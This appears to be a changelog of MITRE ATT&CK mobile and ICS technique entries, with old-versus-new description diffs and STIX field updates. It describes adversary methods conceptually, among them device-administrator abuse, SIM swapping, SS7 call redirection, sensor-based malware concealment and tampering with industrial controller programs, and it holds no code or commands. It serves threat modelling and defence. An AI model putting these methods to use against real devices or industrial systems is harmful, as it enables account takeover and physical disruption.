Description: Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary’s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device. While there are many ways this can be accomplished, one method is by using the device’s sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | A malicious application can request Device Administrator pri | t | 1 | Adversaries may request device administrator permissions to |
| > | vileges. If the user grants the privileges, the application | > | perform malicious actions. By abusing the device administra | ||
| > | can take steps to make its removal more difficult. | > | tion API, adversaries can perform several nefarious actions, | ||
| > | such as resetting the device’s password for [Device Lockout | ||||
| > | ](https://attack.mitre.org/techniques/T1446), factory resett | ||||
| > | ing the device to [Delete Device Data](https://attack.mitre. | ||||
| > | org/techniques/T1447) and any traces of the malware, disabli | ||||
| > | ng all of the device’s cameras, or make it more difficult to | ||||
| > | uninstall the app.(Citation: Android DeviceAdminInfo) Devi | ||||
| > | ce administrators must be approved by the user at runtime, w | ||||
| > | ith a system popup showing which of the actions have been re | ||||
| > | quested by the app. In conjunction with other techniques, su | ||||
| > | ch as [Input Injection](https://attack.mitre.org/techniques/ | ||||
| > | T1516), an app can programmatically grant itself administrat | ||||
| > | or permissions without any user input. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-02-03 16:56:41.200000+00:00 | 2020-11-24 13:40:08.343000+00:00 |
| name | Abuse Device Administrator Access to Prevent Removal | Device Administrator Permissions |
| description | A malicious application can request Device Administrator privileges. If the user grants the privileges, the application can take steps to make its removal more difficult. | Adversaries may request device administrator permissions to perform malicious actions. By abusing the device administration API, adversaries can perform several nefarious actions, such as resetting the device’s password for [Device Lockout](https://attack.mitre.org/techniques/T1446), factory resetting the device to [Delete Device Data](https://attack.mitre.org/techniques/T1447) and any traces of the malware, disabling all of the device’s cameras, or make it more difficult to uninstall the app.(Citation: Android DeviceAdminInfo) Device administrators must be approved by the user at runtime, with a system popup showing which of the actions have been requested by the app. In conjunction with other techniques, such as [Input Injection](https://attack.mitre.org/techniques/T1516), an app can programmatically grant itself administrator permissions without any user input. |
| kill_chain_phases[0]['phase_name'] | persistence | privilege-escalation |
| x_mitre_detection | The device user can view a list of apps with Device Administrator privilege in the device settings. | Users can see when an app requests device administrator permissions. Users can also view which apps have device administrator permissions in the settings menu. |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Android DeviceAdminInfo', 'description': 'Google. (n.d.). DeviceAdminInfo. Retrieved November 20, 2020.', 'url': 'https://developer.android.com/reference/android/app/admin/DeviceAdminInfo'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary could exploit signaling system vulnerabilities | t | 1 | An adversary could exploit signaling system vulnerabilities |
| > | to redirect calls or text messages (SMS) to a phone number u | > | to redirect calls or text messages (SMS) to a phone number u | ||
| > | nder the attacker's control. The adversary could then act as | > | nder the attacker's control. The adversary could then act as | ||
| > | a man-in-the-middle to intercept or manipulate the communic | > | an adversary-in-the-middle to intercept or manipulate the c | ||
| > | ation. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Cit | > | ommunication. (Citation: Engel-SS7) (Citation: Engel-SS7-200 | ||
| > | ation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CS | > | 8) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citat | ||
| > | RIC5-WG10-FinalReport) Interception of SMS messages could en | > | ion: CSRIC5-WG10-FinalReport) Interception of SMS messages c | ||
| > | able adversaries to obtain authentication codes used for mul | > | ould enable adversaries to obtain authentication codes used | ||
| > | ti-factor authentication(Citation: TheRegister-SS7). | > | for multi-factor authentication(Citation: TheRegister-SS7). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-02-03 16:28:52.821000+00:00 | 2021-07-28 18:43:50.490000+00:00 |
| description | An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7). | An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as an adversary-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7). |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | If network traffic between the mobile device and a remote se | t | 1 | If network traffic between the mobile device and a remote se |
| > | rver is not securely protected, then an attacker positioned | > | rver is not securely protected, then an attacker positioned | ||
| > | on the network may be able to manipulate network communicati | > | on the network may be able to manipulate network communicati | ||
| > | on without being detected. For example, FireEye researchers | > | on without being detected. For example, FireEye researchers | ||
| > | found in 2014 that 68% of the top 1,000 free applications in | > | found in 2014 that 68% of the top 1,000 free applications in | ||
| > | the Google Play Store had at least one Transport Layer Secu | > | the Google Play Store had at least one Transport Layer Secu | ||
| > | rity (TLS) implementation vulnerability potentially opening | > | rity (TLS) implementation vulnerability potentially opening | ||
| > | the applications' network traffic to man-in-the-middle attac | > | the applications' network traffic to adversary-in-the-middle | ||
| > | ks (Citation: FireEye-SSL). | > | attacks (Citation: FireEye-SSL). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-07-28 18:45:08.382000+00:00 |
| description | If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to man-in-the-middle attacks (Citation: FireEye-SSL). | If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to adversary-in-the-middle attacks (Citation: FireEye-SSL). |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary could convince the mobile network operator (e.g | t | 1 | An adversary could convince the mobile network operator (e.g |
| > | . through social networking, forged identification, or insid | > | . through social networking, forged identification, or insid | ||
| > | er attacks performed by trusted employees) to issue a new SI | > | er attacks performed by trusted employees) to issue a new SI | ||
| > | M card and associate it with an existing phone number and ac | > | M card and associate it with an existing phone number and ac | ||
| > | count (Citation: NYGov-Simswap) (Citation: Motherboard-Simsw | > | count.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswa | ||
| > | ap2). The adversary could then obtain SMS messages or hijack | > | p2) The adversary could then obtain SMS messages or hijack p | ||
| > | phone calls intended for someone else (Citation: Betanews-S | > | hone calls intended for someone else.(Citation: Betanews-Sim | ||
| > | imswap). One use case is intercepting authentication messa | > | swap) One use case is intercepting authentication messages | ||
| > | ges or phone calls to obtain illicit access to online bankin | > | or phone calls to obtain illicit access to online banking or | ||
| > | g or other online accounts, as many online services allow ac | > | other online accounts, as many online services allow accoun | ||
| > | count password resets by sending an authentication code over | > | t password resets by sending an authentication code over SMS | ||
| > | SMS to a phone number associated with the account (Citation | > | to a phone number associated with the account.(Citation: Gu | ||
| > | : Guardian-Simswap) (Citation: Motherboard-Simswap1)(Citatio | > | ardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Kr | ||
| > | n: Krebs-SimSwap)(Citation: TechCrunch-SimSwap). | > | ebs-SimSwap)(Citation: TechCrunch-SimSwap) | ||
New Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Karim Hasanen, @_karimhasanen'] | |
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-02-03 14:13:24.168000+00:00 | 2021-09-30 18:45:26.323000+00:00 |
| description | An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap) (Citation: Motherboard-Simswap2). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap). One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account (Citation: Guardian-Simswap) (Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap). | An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswap2) The adversary could then obtain SMS messages or hijack phone calls intended for someone else.(Citation: Betanews-Simswap) One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account.(Citation: Guardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap) |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Malicious applications are a common attack vector used by ad | t | 1 | Malicious applications are a common attack vector used by ad |
| > | versaries to gain a presence on mobile devices. This techniq | > | versaries to gain a presence on mobile devices. This techniq | ||
| > | ue describes installing a malicious application on targeted | > | ue describes installing a malicious application on targeted | ||
| > | mobile devices without involving an authorized app store (e. | > | mobile devices without involving an authorized app store (e. | ||
| > | g., Google Play Store or Apple App Store). Adversaries may w | > | g., Google Play Store or Apple App Store). Adversaries may w | ||
| > | ish to avoid placing malicious applications in an authorized | > | ish to avoid placing malicious applications in an authorized | ||
| > | app store due to increased potential risk of detection or o | > | app store due to increased potential risk of detection or o | ||
| > | ther reasons. However, mobile devices often are configured t | > | ther reasons. However, mobile devices often are configured t | ||
| > | o allow application installation only from an authorized app | > | o allow application installation only from an authorized app | ||
| > | store which would prevent this technique from working. Del | > | store which would prevent this technique from working. Del | ||
| > | ivery methods for the malicious application include: * [Spe | > | ivery methods for the malicious application include: * [Spe | ||
| > | arphishing Attachment](https://attack.mitre.org/techniques/T | > | arphishing Attachment](https://attack.mitre.org/techniques/T | ||
| > | 1193) - Including the mobile app package as an attachment to | > | 1566/001) - Including the mobile app package as an attachmen | ||
| > | an email message. * [Spearphishing Link](https://attack.mit | > | t to an email message. * [Spearphishing Link](https://attack | ||
| > | re.org/techniques/T1192) - Including a link to the mobile ap | > | .mitre.org/techniques/T1566/002) - Including a link to the m | ||
| > | p package within an email, text message (e.g. SMS, iMessage, | > | obile app package within an email, text message (e.g. SMS, i | ||
| > | Hangouts, WhatsApp, etc.), web site, QR code, or other mean | > | Message, Hangouts, WhatsApp, etc.), web site, QR code, or ot | ||
| > | s. * Third-Party App Store - Installed from a third-party ap | > | her means. * Third-Party App Store - Installed from a third- | ||
| > | p store (as opposed to an authorized app store that the devi | > | party app store (as opposed to an authorized app store that | ||
| > | ce implicitly trusts as part of its default behavior), which | > | the device implicitly trusts as part of its default behavior | ||
| > | may not apply the same level of scrutiny to apps as applied | > | ), which may not apply the same level of scrutiny to apps as | ||
| > | by an authorized app store.(Citation: IBTimes-ThirdParty)(C | > | applied by an authorized app store.(Citation: IBTimes-Third | ||
| > | itation: TrendMicro-RootingMalware)(Citation: TrendMicro-Fla | > | Party)(Citation: TrendMicro-RootingMalware)(Citation: TrendM | ||
| > | ppyBird) Some Android malware comes with functionality to i | > | icro-FlappyBird) Some Android malware comes with functional | ||
| > | nstall additional applications, either automatically or when | > | ity to install additional applications, either automatically | ||
| > | the adversary instructs it to.(Citation: android-trojan-ste | > | or when the adversary instructs it to.(Citation: android-tr | ||
| > | als-paypal-2fa) | > | ojan-steals-paypal-2fa) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-10-28 18:33:12.646000+00:00 | 2021-02-09 14:28:47.076000+00:00 |
| description | Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working. Delivery methods for the malicious application include: * [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) - Including the mobile app package as an attachment to an email message. * [Spearphishing Link](https://attack.mitre.org/techniques/T1192) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means. * Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird) Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa) | Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working. Delivery methods for the malicious application include: * [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) - Including the mobile app package as an attachment to an email message. * [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means. * Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird) Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa) |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 18:06:09.010000+00:00 | 2021-03-10 21:06:37.536000+00:00 |
| external_references[3]['url'] | https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/ | https://www.csc2.ncsu.edu/faculty/xjiang4/pubs/WISEC12_ADRISK.pdf |
Description: Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.
Description: Adversaries may compromise protective system functions designed to prevent the effects of faults and abnormal conditions. This can result in equipment damage, prolonged process disruptions and hazards to personnel. Many faults and abnormal conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable protective system functions as a prerequisite to subsequent attack execution or to allow for future faults and abnormal conditions to go unchecked. Detection of a Loss of Protection by operators can result in the shutdown of a process due to strict policies regarding protection systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions.
Description: Adversaries may modify the tasking of a controller to allow for the execution of their own programs. This can allow an adversary to manipulate the execution flow and behavior of a controller. According to 61131-3, the association of a Task with a Program Organization Unit (POU) defines a task association. An adversary may modify these associations or create new ones to manipulate the execution flow of a controller. Modification of controller tasking can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Tasks have properties, such as interval, frequency and priority to meet the requirements of program execution. Some controller vendors implement tasks with implicit, pre-defined properties whereas others allow for these properties to be formulated explicitly. An adversary may associate their program with tasks that have a higher priority or execute associated programs more frequently. For instance, to ensure cyclic execution of their program on a Siemens controller, an adversary may add their program to the “task”, Organization Block 1 (OB1).
Description: Adversaries may modify or add a program on a controller to affect how it interacts with the physical process, peripheral devices and other hosts on the network. Modification to controller programs can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Program modification encompasses the addition and modification of instructions and logic contained in Program Organization Units (POU) and similar programming elements found on controllers. This can include, for example, adding new functions to a controller, modifying the logic in existing functions and making new calls from one function to another. Some programs may allow an adversary to interact directly with the native API of the controller to take advantage of obscure features or vulnerabilities.
Description: Adversaries may directly interact with the native OS application programming interface (API) to access system functions. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: EAttack Native API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as memcpy and direct operations on memory registers can be used to modify user and system memory space.
Description: Adversaries may leverage remote services to move between assets and network segments. These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms. Remote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed to multiple network segments, and can be used for Program Download or to execute attacks on control devices directly through Valid Accounts. Specific remote services (RDP & VNC) may be a precursor to enable Graphical User Interface execution on devices such as HMIs or engineering workstation software. In the Oldsmar water treatment attack, adversaries gained access to the system through remote access software, allowing for the use of the standard operator HMI interface.(Citation: Oldsmar Water Treatment Attack Feb 2021) Based on incident data, CISA and FBI assessed that Chinese state-sponsored actors also compromised various authorized remote access channels, including systems designed to transfer data and/or allow access between corporate and ICS networks.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)
Description: An adversary may attempt to get detailed information about remote systems and their peripherals, such as make/model, role, and configuration. Adversaries may use information from Remote System Information Discovery to aid in targeting and shaping follow-on behaviors. For example, the system’s operational role and model information can dictate whether it is a relevant target for the adversary’s operational objectives. In addition, the system’s configuration may be used to scope subsequent technique usage. Requests for system information are typically implemented using automation and management protocols and are often automatically requested by vendor software during normal operation. This information may be used to tailor management actions, such as program download and system or module firmware. An adversary may leverage this same information by issuing calls directly to the system’s API.
Description: Adversaries may target devices that are transient across ICS networks and external networks. Normally, transient assets are brought into an environment by authorized personnel and do not remain in that environment on a permanent basis. (Citation: NERC June 2021) Transient assets are commonly needed to support management functions and may be more common in systems where a remotely managed asset is not feasible, external connections for remote access do not exist, or 3rd party contractor/vendor access is required. Adversaries may take advantage of transient assets in different ways. For instance, adversaries may target a transient asset when it is connected to an external network and then leverage its trusted access in another environment to launch an attack. They may also take advantage of installed applications and libraries that are used by legitimate end-users to interact with control system devices. Transient assets, in some cases, may not be deployed with a secure configuration leading to weaknesses that could allow an adversary to propagate malicious executable code, e.g., the transient asset may be infected by malware and when connected to an ICS environment the malware propagates onto other systems. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. (Citation: Maroochy - MITRE - 200808)
Description: Adversaries may seek to capture radio frequency (RF) communication used for remote control and reporting in distributed environments. RF communication frequencies vary between 3 kHz to 300 GHz, although are commonly between 300 MHz to 6 GHz. The wavelength and frequency of the signal affect how the signal propagates through open air, obstacles (e.g. walls and trees) and the type of radio required to capture them. These characteristics are often standardized in the protocol and hardware and may have an effect on how the signal is captured. Some examples of wireless protocols that may be found in cyber-physical environments are: WirelessHART, Zigbee, WIA-FA, and 700 MHz Public Safety Spectrum. Adversaries may capture RF communications by using specialized hardware, such as software defined radio (SDR), handheld radio, or a computer with radio demodulator tuned to the communication frequency. Information transmitted over a wireless medium may be captured in-transit whether the sniffing device is the intended destination or not. This technique may be particularly useful to an adversary when the communications are not encrypted. In the 2017 Dallas Siren incident, it is suspected that adversaries likely captured wireless command message broadcasts on a 700 MHz frequency during a regular test of the system. These messages were later replayed to trigger the alarm systems.
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:14:01.612000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T800 | https://collaborate.mitre.org/attackics/index.php/Technique/T0800 |
| external_references[0]['external_id'] | 0T800 | T0800 |
| x_mitre_data_sources[0] | Application logs | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Sequential event recorder | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Device Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T878 | https://collaborate.mitre.org/attackics/index.php/Technique/T0878 |
| x_mitre_data_sources[0] | Alarm history | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Alarm thresholds | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Process History/Live Data |
| x_mitre_data_sources[3] | Packet capture | Operational Databases: Process/Event Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Device Configuration/Parameters |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T802 | https://collaborate.mitre.org/attackics/index.php/Technique/T0802 |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Data loss prevention | File: File Access |
| x_mitre_data_sources[2] | Process command-line parameters | Script: Script Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may block a command message from reaching its in | t | 1 | Adversaries may block a command message from reaching its in |
| > | tended target to prevent command execution. In OT networks, | > | tended target to prevent command execution. In OT networks, | ||
| > | command messages are sent to provide instructions to control | > | command messages are sent to provide instructions to control | ||
| > | system devices. A blocked command message can inhibit respo | > | system devices. A blocked command message can inhibit respo | ||
| > | nse functions from correcting a disruption or unsafe conditi | > | nse functions from correcting a disruption or unsafe conditi | ||
| > | on. (Citation: Research - Research - Taxonomy Cyber Attacks | > | on.(Citation: Research - Research - Taxonomy Cyber Attacks o | ||
| > | on SCADA) In the 2015 attack on the Ukranian power grid, ma | > | n SCADA)(Citation: Ukraine15 - EISAC - 201603) | ||
| > | licious firmware was used to render communication devices in | ||||
| > | operable and effectively prevent them from receiving remote | ||||
| > | command messages. (Citation: Ukraine15 - EISAC - 201603) | ||||
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| description | Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the 2015 attack on the Ukranian power grid, malicious firmware was used to render communication devices inoperable and effectively prevent them from receiving remote command messages. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition.(Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)(Citation: Ukraine15 - EISAC - 201603) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T803 | https://collaborate.mitre.org/attackics/index.php/Technique/T0803 |
| x_mitre_data_sources[0] | Alarm History | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Packet capture | Application Log: Application Log Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Termination | |
| x_mitre_data_sources | Operational Databases: Process History/Live Data | |
| x_mitre_data_sources | Operational Databases: Process/Event Alarm | |
| x_mitre_platforms | Device Configuration/Parameters |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may block or prevent a reporting message from re | t | 1 | Adversaries may block or prevent a reporting message from re |
| > | aching its intended target. Reporting messages relay the sta | > | aching its intended target. In control systems, reporting me | ||
| > | tus of control system devices, which can include event log d | > | ssages contain telemetry data (e.g., I/O values) pertaining | ||
| > | ata and I/O values of the associated device. By blocking the | > | to the current state of equipment and the industrial process | ||
| > | se reporting messages, an adversary can potentially hide the | > | . By blocking these reporting messages, an adversary can pot | ||
| > | ir actions from an operator. Blocking reporting messages in | > | entially hide their actions from an operator. Blocking repor | ||
| > | control systems that manage physical processes may contribu | > | ting messages in control systems that manage physical proces | ||
| > | te to system impact, causing inhibition of a response functi | > | ses may contribute to system impact, causing inhibition of a | ||
| > | on. A control system may not be able to respond in a proper | > | response function. A control system may not be able to resp | ||
| > | or timely manner to an event, such as a dangerous fault, if | > | ond in a proper or timely manner to an event, such as a dang | ||
| > | its corresponding reporting message is blocked. (Citation: R | > | erous fault, if its corresponding reporting message is block | ||
| > | esearch - Research - Taxonomy Cyber Attacks on SCADA) In th | > | ed.(Citation: Research - Research - Taxonomy Cyber Attacks o | ||
| > | e 2015 attack on the Ukranian power grid, malicious firmware | > | n SCADA)(Citation: Ukraine15 - EISAC - 201603) | ||
| > | was used to render communication devices inoperable and eff | ||||
| > | ectively block messages from being reported. (Citation: Ukra | ||||
| > | ine15 - EISAC - 201603) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| description | Adversaries may block or prevent a reporting message from reaching its intended target. Reporting messages relay the status of control system devices, which can include event log data and I/O values of the associated device. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the 2015 attack on the Ukranian power grid, malicious firmware was used to render communication devices inoperable and effectively block messages from being reported. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may block or prevent a reporting message from reaching its intended target. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked.(Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)(Citation: Ukraine15 - EISAC - 201603) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T804 | https://collaborate.mitre.org/attackics/index.php/Technique/T0804 |
| x_mitre_data_sources[0] | Alarm History | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Data historian | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Network protocol analysis | Application Log: Application Log Content |
| x_mitre_data_sources[3] | Packet capture | Process: Process Termination |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Operational Databases: Process History/Live Data | |
| x_mitre_data_sources | Operational Databases: Process/Event Alarm | |
| x_mitre_platforms | Device Configuration/Parameters |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T805 | https://collaborate.mitre.org/attackics/index.php/Technique/T0805 |
| x_mitre_data_sources[0] | Alarm history | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Data historian | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Network protocol analysis | Application Log: Application Log Content |
| x_mitre_data_sources[3] | Packet capture | Process: Process Termination |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Operational Databases: Process History/Live Data | |
| x_mitre_data_sources | Operational Databases: Process/Event Alarm | |
